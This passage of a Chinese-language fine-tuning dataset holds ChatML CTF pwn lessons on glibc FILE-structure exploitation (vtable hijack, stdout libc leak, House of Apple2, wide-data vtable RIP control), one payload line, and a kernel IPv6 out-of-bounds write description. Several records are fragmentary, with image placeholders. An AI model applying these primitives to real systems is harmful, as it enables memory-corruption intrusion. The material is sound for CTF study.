(_IO_wdoallocbuf)\n```\n\n需要满足`fp->_wide_data->_IO_buf_base == 0`和`fp->_flags & _IO_UNBUFFERED == 0`。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-97c61c70cd680293", "original_line": 257, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-97c61c70cd680293", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-6f49ab466015c2bd5f80", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「fwrite」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### fwrite\nfwrite 同样是标准 IO 库函数，作用是向文件流写入数据，函数原型如下\n\nsize_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);\n\nfwrite 函数的各个参数作用如下：\n\n+ const void* buffer：这是指向内存中一块空间的指针，该空间存放着你准备写入文件的数据。\n+ size_t size：这个参数指定了每个要写入的数据项的字节大小。例如，如果你要写入一个整数数组，这里通常使用 sizeof(int)。\n+ size_t count：这个参数指明你希望写入多少个上述大小的数据项。例如，如果你的 buffer指向一个包含10个整数的数组，并且 size是 sizeof(int)，那么这里就应设置为10，表示要写入10个整数 。\n+ FILE* stream：这是一个指向 FILE对象的指针，它指定了数据要写入到哪个已打开的文件流。这个指针通常是由 fopen函数成功打开文件后返回的。\n+ 返回值：函数返回成功写入到文件中的数据项数量（是 count的个数，而非总字节数）。\n\nfwrite 的代码位于/libio/iofwrite.c 中，函数名为_IO_fwrite，可以看到这个函数会接着调用_IO_sputn函数。\n\n[图片: image-20251212230850850.png]\n\n\n_IO_sputn是一个宏，它的定义位于 glibc 源码的 libio/libioP.h 头文件中，AI解释如下：这个宏的核心作用是作为**函数调用的路由**，它会根据传入的 `FILE`结构体找到对应的虚函数表（vtable），并调用其中的 `__xsputn`函数指针 。\n\n[图片: image-20251212231015500.png]\n\n[图片: image-20251212231048590.png]\n\n[图片: img]\n\n在`_IO_new_file_xsputn`函数内还可以发现调用了_IO_OVERFLOW函数\n\n[图片: image-20251212231500478.png]\n\n会跳转到__overflow指针\n\n[图片: image-20251212231539419.png]\n\n调用了_IO_do_write\n\n[图片: image-20251212231648952.png]\n\n\n类似地最终会调用系统接口 write 函数\n\nfwrite --> _IO_sputn --> _IO_XSPUTN --> **xsputn --> _IO_new_file_xsputn --> _IO_OVERFLOW --> **overflow --> _IO_new_file_overflow --> _IO_do_write --> _IO_new_do_write --> new_do_write --> _IO_SYSWRITE", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-ba5461a541577755", "original_line": 263, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-ba5461a541577755", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7494378456598fdf6db3", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「fwrite」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### fwrite\n关键流程大致如下，具体看源码。\n\n\"image.png\"\n\n缓冲区如下：\n\n[图片: image.png]", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-7288128b44ed5257", "original_line": 252, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-7288128b44ed5257", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7ea372d740a5283d709b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\\n\n  static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \\\n  static struct _IO_wide_data _IO_wide_data_##FD \\\n    = { ._wide_vtable = &_IO_wfile_jumps }; \\\n  struct _IO_FILE_plus NAME \\\n    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \\\n       &_IO_file_jumps}\n\nDEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);\nDEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);\nDEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);\n\nstruct _IO_FILE_plus *_IO_list_all = &_IO_2_1_stderr_;\nlibc_hidden_data_def (_IO_list_all)\n```\n\n并且存在 3 个全局指针 `stdin`，`stdout`，`stderr` 分别指向 `_IO_2_1_stdin_`，`_IO_2_1_stdout_`，`_IO_2_1_stderr_` 三个结构体。\n\n```c\nFILE *stdin =  (FILE *) &_IO_2_1_stdin_;\nFILE *stdout = (FILE *) &_IO_2_1_stdout_;\nFILE *stderr = (FILE *) &_IO_2_1_stderr_;\n```\n\n因此上述结构的关系如下：\n\n[图片: Pasted image 20250428001822.png]\n\n\n+ 如果有文件读写操作则会为对应文件创建一个 `_IO_FILE` 结构体，并且链接到 `_IO_list_all` 链表上。\n\n```c\nvoid\n_IO_link_in (struct _IO_FILE_plus *fp)\n{\n\tif ((fp->file._flags & _IO_LINKED) == 0)\n\t{\n\t\tfp->file._flags |= _IO_LINKED;\n#ifdef _IO_MTSAFE_IO\n\t\t_IO_cleanup_region_start_noarg (flush_cleanup);\n\t\t_IO_lock_lock (list_all_lock);\n\t\trun_fp = (FILE *) fp;\n\t\t_IO_flockfile ((FILE *) fp);\n#endif\n\t\tfp->file._chain = (FILE *) _IO_list_all;\n\t\t_IO_list_all = fp;\n#ifdef _IO_MTSAFE_IO\n\t\t_IO_funlockfile ((FILE *) fp);\n\t\trun_fp = NULL;\n\t\t_IO_lock_unlock (list_all_lock);\n\t\t_IO_cleanup_region_end (0);\n#endif\n\t}\n}\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-a445f2a97b3f572f", "original_line": 261, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-a445f2a97b3f572f", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-86ca2a7b8201edee0790", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「vtable劫持」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## vtable劫持\n首先利用 fast bin attack 在 `_IO_2_1_stdout_+157` 地址处申请 0x60 大小的堆块。\n\n[图片: img]\n\n\n由于 libc-2.23 版本没有 `_IO_vtable_check` 检查 `vtable` 地址，因此可以修改 `vtable` 指针指向事先在 bss 段伪造的 `vtable` 。在调用 IO 函数时会将 `_IO_2_1_stdout_` 结构体指针作为参数传入 `vtable` 中的函数，因此可以在 `_IO_2_1_stdout_` 结构体 flag 字段之后的 4 字节填充中写入 `;sh;` 来获取 shell 。\n\n[图片: img]\n\n[图片: image.png]", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-c44d07e9f6ba15b0", "original_line": 265, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-c44d07e9f6ba15b0", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "kernel", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-8918c2168c9a62cb1161", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「Vulnerability Details」。\n资料来源：Kernel/CVE-2026-53362_lts/docs/vulnerability.md；主题：Vulnerability Details；分类：kernel。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "# Vulnerability Details\n\n- **Requirements**:\n    - **Capabilities**: None\n    - **Kernel configuration**: `CONFIG_IPV6=y`\n    - **User namespaces required**: No\n- **Introduced by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=773ba4fe9104a64a54d1c00f0fb6ffb95def2b03\n- **Fixed by**: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=736b380e28d0480c7bc3e022f1950f31fe53a7c5\n- **Affected Version**: `v6.6-rc1 - v6.12.94`\n- **Affected Component**: ipv6\n- **Syscall to disable**: `splice`\n- **Cause**: Out-of-bounds\n- **Description**: An out-of-bounds write was discovered in the Linux kernel's IPv6 UDP corking path. When `MSG_SPLICE_PAGES` makes `__ip6_append_data()` enter the paged allocation path, a later append to an already corked skb can compute a non-zero `fraggap` from the previous skb length. The vulnerable paged branch sets `alloclen = fragheaderlen + transhdrlen` and `pagedlen = datalen - transhdrlen` without reserving or subtracting that `fraggap`, even though `datalen` already includes the gap. The new skb linear area is therefore short by `fraggap` bytes while the later copy still writes previous skb tail bytes into `data + transhdrlen`. This can overwrite trailing `struct skb_shared_info` metadata.", "role": "assistant"}], "metadata": {"category": "kernel", "ctf_score": 28, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["kernel", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-e382cbad354989c6", "original_line": 398, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "Kernel/CVE-2026-53362_lts/docs/vulnerability.md", "source_record_id": "pwn101-doc-e382cbad354989c6", "source_split": "train", "split": "train", "split_group_key": "10e77d130e2de3fe4416ee98"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "Kernel/CVE-2026-53362_lts/docs/vulnerability.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-89ce94cc03a64aedc61b", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「stdout泄露libc基址」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "## stdout泄露libc基址\n程序正确执行到 `_IO_overflow` 时会将输出缓冲区中的数据输出出来，只要将要泄露的位置设置为输出缓冲区就可以泄露内容。但还要绕过一系列检查：\n\n+ `_IO_new_file_xsputn`\n    - 如果 `f->_IO_write_end > f->_IO_write_ptr` 说明输出缓冲区还没有写满，就会将待输出的数据写入缓冲区，实际上 `_IO_overflow` 只有在输出缓冲区写满的时候才将其输出。因此为了不造成不必要的麻烦，直接令 `f->_IO_write_end = f->_IO_write_ptr` 。\n\n```plain\nelse if (f->_IO_write_end > f->_IO_write_ptr)\n    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */\n/* Then fill the buffer. */\nif (count > 0) {\n    if (count > to_do)count = to_do;\n    f->_IO_write_ptr = __mempcpy(f->_IO_write_ptr, s, count);\n    s += count;\n    to_do -= count;\n}\n```\n\n+ `_IO_new_file_overflow`\n        * `_flags` 不能包含 `_IO_NO_WRITES` ，其中 `_IO_NO_WRITES` 的值为 0x8 。\n\n```plain\nif (f->_flags & _IO_NO_WRITES) /* SET ERROR */\n{\n    f->_flags |= _IO_ERR_SEEN;\n    __set_errno(EBADF);\n    return EOF;\n}\n```\n\n- 为了避免进入如下分枝进造成不必要的麻烦， `_flags` 应包含 `_IO_CURRENTLY_PUTTING` ，其中 `_IO_CURRENTLY_PUTTING` 的值为 0x0800 。\n\n```plain\nif ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL) {\n    ...\n}\n```\n\n- 为了调用 `_IO_do_write` 输出缓冲区内容，令 `_IO_write_base = read_start` ，`_IO_write_ptr = read_end` 。\n\n```plain\nif (ch == EOF)\n    return _IO_do_write(f, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base);\n```\n\n+ `new_do_write`\n        * 构造 `_flags` 包含 `_IO_IS_APPENDING` 或者 `_IO_read_end` 等于 `_IO_write_base` 就可以直接执行到 `_IO_SYSWRITE` 。其中 `_IO_IS_APPENDING` 的值为 0x1000 。\n\n```c\nsize_t count;\nif (fp->_flags & _IO_IS_APPENDING)\n  /* On a system without a proper O_APPEND implementation,\n     you would need to sys_seek(0, SEEK_END) here, but is\n     not needed nor desirable for Unix- or Posix-like systems.\n     Instead, just indicate that offset (before and after) is\n     unpredictable. */\n  fp->_offset = _IO_pos_BAD;\nelse if (fp->_IO_read_end != fp->_IO_write_base)\n  {\n    off64_t new_pos = _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);\n    if (new_pos == _IO_pos_BAD)\n      return 0;\n    fp->_offset = new_pos;\n  }\ncount = _IO_SYSWRITE (fp, data, to_do);\n```\n\n- 最后 `_IO_SYSWRITE` 调用 `write (f->_fileno, data, to_do)` 输出数据，因此还需构造 `_fileno` 为标准输出描述符 1 。\n\n将上述条件综合描述为：\n\n+ 设置 `_flag` &~ `_IO_NO_WRITES` 即 `_flag` &~ 0x8。\n+ 设置 `_flag` & `_IO_CURRENTLY_PUTTING` 即 `_flag` | 0x800\n+ 设置 `_fileno` 为1。\n+ 设置 `_IO_write_base` 指向想要泄露的地方；`_IO_write_ptr` 指向泄露结束的地址。\n+ 设置 `_IO_read_end` 等于 `_IO_write_base` 或设置 `_flag` & `_IO_IS_APPENDING` 即 `_flag` | 0x1000。\n+ 设置 `_IO_write_end` 等于 `_IO_write_ptr`（非必须）。\n\n满足上述五个条件，可实现任意读。\n\n对于没有输出功能的堆题，要想泄露 libc 基址就需要劫持 `_IO_2_1_stdout_` 结构体。可以利用 fast bin attack 在 `_IO_2_1_stdout_-0x43` 处申请 fast bin。\n\n[图片: Pasted image 20250730222332.png]\n\n\n之后修改 `_IO_write_base` 指针的最低 1 字节为 `\\x88` 使其指向 `_chain` 变量，而 `_chain` 变量中存储了 `_IO_2_1_stdin_` 结构体地址，程序在下一次输出内容时会先将 write buf 中的内容输出出来，因此可以泄露 libc 基地址。\n\n```plain\nadd(0x60, '\\x00' * 0x33 + p32(0xfbad1880) + \";sh;\" + p64(0) * 3 + p8(0x88))  # 5 write_base -> _IO_2_1_stdin_\n```\n\n[图片: Pasted image 20250730222355.png]\n\nFILE 在 Linux 的 标准 IO 库中是用于描述文件的结构，称为文件流。FILE 结构在程序执行 fopen等函数时会进行创建，并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。\n\n进程中的 FILE 结构会通过`_chain`域彼此连接形成一个链表，链表头部用全局变量`_IO_list_all`表示，通过这个值我们可以遍历所有的`FILE`结构。\n\n在标准 I/O 库中，每个程序启动时会有三个文件流是自动打开的：stdin、stdout、stderr。因此在初始状态下，`_IO_list_all`指向了一个有这些文件流构成的链表，但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用`fopen`创建的文件流是分配在堆内存上的。\n\n我们可以在 libc.so 中找到 stdin、stdout、stderr 等符号，这些符号是指向 FILE 结构的指针，真正的结构的符号是\n\n```plain\n_IO_2_1_stderr_\n_IO_2_1_stdout_\n_IO_2_1_stdin_\n```\n\n这个结构体中，我们主要关注一部分\n\n1. read,write,buf相关指针\n    1. 这几个地址是任意地址读，任意地址写的关键指针\n2. chain\n    1. 它指向下一个file结构体，在FSOP中会用到\n3. fileno\n    1. 它代表打开的文件idx，如果将它更改，就相当于更改了 stdin，stdout，stderr的指向\n\n主要关注`printf`与`puts`函数，这两个函数也是题目中最常用到的，其调用链基本一致。\n\nputs 函数的实现在`ioputs.c`中，可以看到`puts`，实际上就是`_IO_puts`的别名。\n\nputs 函数首先调用`_IO_sputn`，实际调用的是`_IO_new_file_xsputn`，定义在`libio/fileops.c`中\n\n`_IO_do_write`是`new_do_write`，调用了`_IO_SYSWRITE`进行输出。\n\n```plain\n#调用链就是\n_IO_puts->_IO_new_file_xsputn->_IO_new_file_overflow->new_do_write->_IO_SYSWRITE\n```", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 32, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-67b3555beb0b74a7", "original_line": 249, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-67b3555beb0b74a7", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9050f13bef01d1c100de", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「fopen」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### fopen\nfopen 在标准 IO 库中用于打开文件，函数原型如下\n\nFILE *fopen(char *filename, *type);\n\n+ filename: 目标文件的路径\n+ type: 打开方式的类型，可以有r,w,a,r+,w+,a+等等\n+ 返回值: 返回一个文件指针\n\n在 fopen 内部会创建 FILE 结构并进行一些初始化操作，下面来看一下这个过程\n\n[图片: image-20251212231852315.png]\n\n\n这个函数在libio/iofopen.c文件内，函数名为_IO_new_fopen，该函数直接调用__fopen_internal\n\n首先在 fopen 对应的函数__fopen_internal 内部会调用 malloc 函数，分配 FILE 结构的空间。因此我们可以获知 FILE 结构是存储在堆上的\n\n[图片: image-20251212231957570.png]\n\n\n之后会为创建的 FILE 初始化 vtable，并调用_IO_file_init 进一步初始化操作。\n\n在_IO_file_init 函数的初始化操作中，会调用_IO_link_in 把新分配的 FILE 链入_IO_list_all 为起始的 FILE 链表中。\n\n这里用了另一个函数名表示初始化函数\n\n[图片: image-20251212232154069.png]\n\n[图片: image-20251212232309663.png]\n\n\"image-20251212232412251.png\"\n\n\n之后__fopen_internal 函数会调用_IO_file_fopen 函数打开目标文件，_IO_file_fopen 会根据用户传入的打开模式进行打开操作，总之最后会调用到系统接口 open 函数，这里不再深入。\n\n总结一下 fopen 的操作是\n\n+ 使用 malloc 分配 FILE 结构\n+ 设置 FILE 结构的 vtable\n+ 初始化分配的 FILE 结构\n+ 将初始化的 FILE 结构链入 FILE 结构链表中\n+ 调用系统调用打开文件\n\nfopen --> _IO_new_fopen --> __fopen_internal --> _IO_file_fopen --> .....", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-59315260e658c000", "original_line": 248, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-59315260e658c000", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-91c502cebeb9bda75696", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「House of Apple2」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "### House of Apple2\n\nglibc 2.35+\n\n`largebin attack`是高版本中为数不多的可以任意地址写一个堆地址的方法，并常常和上述三种方法结合起来利用。本文将给出一种新的利用方法，在仅使用一次`largebin attack`并限制读写次数的条件下进行`FSOP`利用。\n\n上述方法利用成功的前提均是已经泄露出`libc`地址和`heap`地址。本文的方法也不例外。\n\n使用`house of apple`的条件为：\n\n1. 程序从`main`函数返回或能调用`exit`函数；\n2. 能泄露出`heap`地址和`libc`地址；\n3. 能使用一次`largebin attack`（一次即可）。", "role": "assistant"}], "metadata": {"category": "io_file", "ctf_score": 30, "ctf_task_type": "pwn", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["io_file", "pwn"], "original_id": "chatml::train::pwn101_distilled_v1::train::pwn101-doc-13b5500282d3137f", "original_line": 243, "original_split": "train", "record_family": "sft_chatml", "record_type": "sft", "source_dataset": "security_finetune_mixture_v1", "source_domain": "pwn", "source_family": "local_ctf_pwn", "source_file": "data/pwn101_distilled_v1/train.jsonl", "source_path": "IO-FILE/io-file exploit.md", "source_record_id": "pwn101-doc-13b5500282d3137f", "source_split": "train", "split": "train", "split_group_key": "0a84ffb3b211a4a743f3e9b1"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "IO-FILE/io-file exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "io_file", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-9338efd7a404b6aafb10", "messages": [{"content": "你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。", "role": "system"}, {"content": "请讲解 CTF pwn/二进制安全知识点「_IO_wfile_underflow_mmap」。\n资料来源：IO-FILE/io-file exploit.md；主题：define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \\；分类：io_file。\n要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。", "role": "user"}, {"content": "#### _IO_wfile_underflow_mmap\n\n利用_IO_wfile_underflow_mmap函数控制程序执行流\n\n对`fp`的设置如下：\n\n+ `_flags`设置为`~4`，如果不需要控制`rdi`，设置为`0`即可；如果需要获得`shell`，可设置为`sh;`，注意前面有个空格\n+ `vtable`设置为`_IO_wfile_jumps_mmap`地址（加减偏移），使其能成功调用`_IO_wfile_underflow_mmap`即可\n+ `_IO_read_ptr < _IO_read_end`，即满足`*(fp + 8) < *(fp + 0x10)`\n+ `_wide_data`设置为可控堆地址`A`，即满足`*(fp + 0xa0) = A`\n+ `_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end`，即满足`*A >= *(A + 8)`\n+ `_wide_data->_IO_buf_base`设置为`0`，即满足`*(A + 0x30) = 0`\n+ `_wide_data->_IO_save_base`设置为`0`或者合法的可被`free`的地址，即满足`*(A + 0x40) = 0`\n+ `_wide_data->_wide_vtable`设置为可控堆地址`B`，即满足`*(A + 0xe0) = B`\n+ `_wide_data->_wide_vtable->doallocate`设置为地址`C`用于劫持`RIP`，即满足`*(B + 0x68) = C`\n\n函数的调用链如下：\n\n```plain\n_IO_wfile_underflow_mmap\n    _IO_wdoallocbuf\n        _IO_WDOALLOCATE\n            *(fp->_wide_data->_wide_vtable + 0x68)(fp)\n```\n\n详细分析如下：\n看`_IO_wfile_underflow_mmap`函数：\n\n```c\nstatic wint_t\n_IO_wfile_underflow_mmap (FILE *fp)\n{\n  struct _IO_codecvt *cd;\n  const char *read_stop;\n  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))\n    {\n      fp->_flags |= _IO_ERR_SEEN;\n      __set_errno (EBADF);\n      return WEOF;\n    }\n  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)\n    return *fp->_wide_data->_IO_read_ptr;\n  cd = fp->_codecvt;\n  /* Maybe there is something left in the external buffer.  */\n  if (fp->_IO_read_ptr >= fp->_IO_read_end\n      /* No.  But maybe the read buffer is not fully set up.  */\n      && _IO_file_underflow_mmap (fp) == EOF)\n    /* Nothing available.  _IO_file_underflow_mmap has set the EOF or error\n       flags as appropriate.  */\n    return WEOF;\n  /* There is more in the external.  Convert it.  */\n  read_stop = (const char *) fp->_IO_read_ptr;\n  if (fp->_wide_data->_IO_buf_base == NULL)\n    {\n      /* Maybe we already have a push back pointer.  */\n      if (fp->_wide_data->_IO_save_base != NULL)\n    {\n      free 